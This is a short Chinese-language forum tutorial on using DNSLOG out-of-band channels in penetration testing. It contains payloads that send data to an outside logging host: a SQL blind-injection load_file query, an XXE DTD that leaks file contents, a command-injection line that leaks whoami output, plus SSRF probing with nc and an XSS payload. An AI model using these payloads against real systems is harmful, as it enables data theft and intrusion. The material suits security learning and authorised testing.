-
-
[投稿]DNSLOG在渗透中的妙用
-
发表于: 2018-1-9 11:34 3793
-
前言:
DNSLOG可能有些人对这个有点陌生,但这真是个十分强大的渗透技巧,这篇文章就是叙述DNSLOG在渗透中的强大之处,相信对这个了解不多的看了之后会觉得受益良多。
首先先简单的介绍一下DNSLOG,抽象的语言就不多说,用我自己的思路就是当我们拥有一个二级域名,例如bywalks.com,然后请求三级域名,例如dnstest.bywalks.com,DNS解析时,
会把访问三级域名的日记传给二级域名。
有个基于DNSLOG记录的ceye平台,感兴趣的可以去看看。
下面就是DNSLOG在各种情况下的使用
目录:
0x01:注入
0x02:SSRF
0x03:XXE
0x04:命令执行
0x05:XSS
0x06:总结
DNSLOG 注入
当我们遇到盲注的时候,大家的常规思路是什么?无非两种,一延时,二基于内容特征。而这两种方法都是一个字符一个字符的判断,效率很低。
但有了DNSLOG可就不一样了。当遇到盲注的时候,我们可以用这样的PAYLOAD。
load_file(concat('\\\\',(select database()),'.bywalks.ceye.io\\bywalks'))
在这里我们需要了解load_file是可以发送DNS请求的。
所以就等同于访问了database().bywalks.ceye.io,然后我们的ceye平台就会有记录,那么database()是不是就得到了呢?这种方法比逐字判断是要方便很多吧。
接下来注入就是库表列了。语句自由组合。
DNSLOG SSRF
当我们遇到SSRF的时候,例如ImageUrl=XXX这种,可以吧XXX换成127.0.0.1:80,127.0.0.1:81等,看返回值的情况判断是否存在SSRF,也可以用NC -lvvp 8888
监听本地8888端口,然后ImageUrl=http://Your-Ip:8888来观察是否存在SSRF。
同时,我们也可以用基于DNSLOG的ceye来观察是否存在SSRF,我们可以把XXX换成bywalks.ceye.io,然后看我们的ceye平台是否有服务器的IP来判断。
DNSLOG XXE
当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://bywalks.ceye.io/%file;'>" > %all;
在我们的ceye平台就可以接收到这个读取的服务器文件了。
当安全维护人员对服务器做了安全防护,使XXE不可以解析外部实体,但是<?xml version='1.0'?>这种任然是从前台直接传递的时候,依旧是存在SSRF漏洞。所 以对XXE的安全防护是必须严格化的。
DNSLOG 命令执行
在ceye平台是有着这样一个payload:
Linux: curl windows: ping `whoami`.ip.port.bywalks.ceye.io
DNSLOG XSS
Payload:
"><img src=x onerror=http://bywalks.ceye.io>
总结
1:主要实用的情况,盲注提高效率
2:主要使用的情况,在命令执行无回显,SSRF,XXE判断等通过下使用。关键在于无回显时。
个人博客:www.bywalks.com
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]Host-Header-Injection 1646
- [原创]ClickJacking简介和防御 1910
- [原创]浅谈CORS可能产生的漏洞 4633
- [投稿]DNSLOG在渗透中的妙用 3794
- [原创]浅谈XXE漏洞 4783